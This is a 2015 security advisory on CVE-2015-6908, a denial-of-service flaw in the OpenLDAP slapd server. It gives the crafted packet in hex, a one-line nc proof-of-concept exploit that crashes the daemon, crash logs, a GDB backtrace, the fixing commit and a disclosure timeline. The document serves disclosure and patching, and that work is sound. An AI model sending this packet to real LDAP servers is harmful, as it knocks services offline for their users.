security-assessment.com

Vulnerability Advisory – Vendor Disclosure

Name	OpenLDAP ber_get_next Denial of Service
Vendor Website	http://www.openldap.org/
Affected Software	OpenLDAP <= 2.4.42
Date Released	10th September 2015
CVE Number	CVE-2015-6908
Researchers	Denis Andzakovic

Description

This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server.

By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert() statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package mirrors.

Exploitation

By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data.

The following tables detail the malicious packet, as well as a proof of concept exploit:

Malicious Packet

```
00000000  ff 84 84 84 84 84 77 83  0a 62 3e 59 32 00 00 00  |......w..b>Y2...|
00000010  2f                                                |/|
00000011
```

Proof of Concept Exploit

```
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
```

The following screenshot shows slapd aborting when run with '-d3', however this bug will also crash the server when running as a daemon.

Slapd crash

```
55f002db slap_listener_activate(8):
55f002db >>> slap_listener(ldap:///)
55f002db connection_get(13): got connid=1000
55f002db connection_read(13): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
  0000:  ff 84 84 84 84 84 77 83                          ......w.
55f002db connection_get(13): got connid=1000
55f002db connection_read(13): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
  0000:  0a                                               .
55f002db connection_get(13): got connid=1000
55f002db connection_read(13): checking for input on id=1000
ber_get_next
slapd: ../../../../libraries/liblber/io.c:682: ber_get_next: Assertion `0' failed.
Aborted
```

The following GDB backtrace provides further information as to the location of the issue:

Backtrace

```
Program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2649700 (LWP 39695)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56      ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6a144e8 in __GI_abort () at abort.c:89
#2  0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", a
    line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert
#3  0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1
    function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101
#4  0x000000000053261a in ber_get_next (sb=0x7fffe4000a60, len=0x7ffff2648b40, ber=0x7fffe80008c0) at io.c:682
#5  0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572
#6  connection_read (cri=<optimized out>, s=<optimized out>) at connection.c:1460
#7  connection_read_thread (ctx=0x7ffff2648b90, argv=0xf) at connection.c:1284
#8  0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696
#9  0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2649700) at pthread_create.c:309
#10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
```

Solution

This issue has been resolved by commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629 in git://git.openldap.org/openldap.git

Timeline

10/09/15 – Issue raised on OpenLDAP issue tracker, marked as a ‘minor’ security issue, as per the requirements in the ITS, making the issue public.
10/09/15 – Patch pushed to OpenLDAP master branch by Howard Chu, commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629
10/09/15 – Release of this advisory document.

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650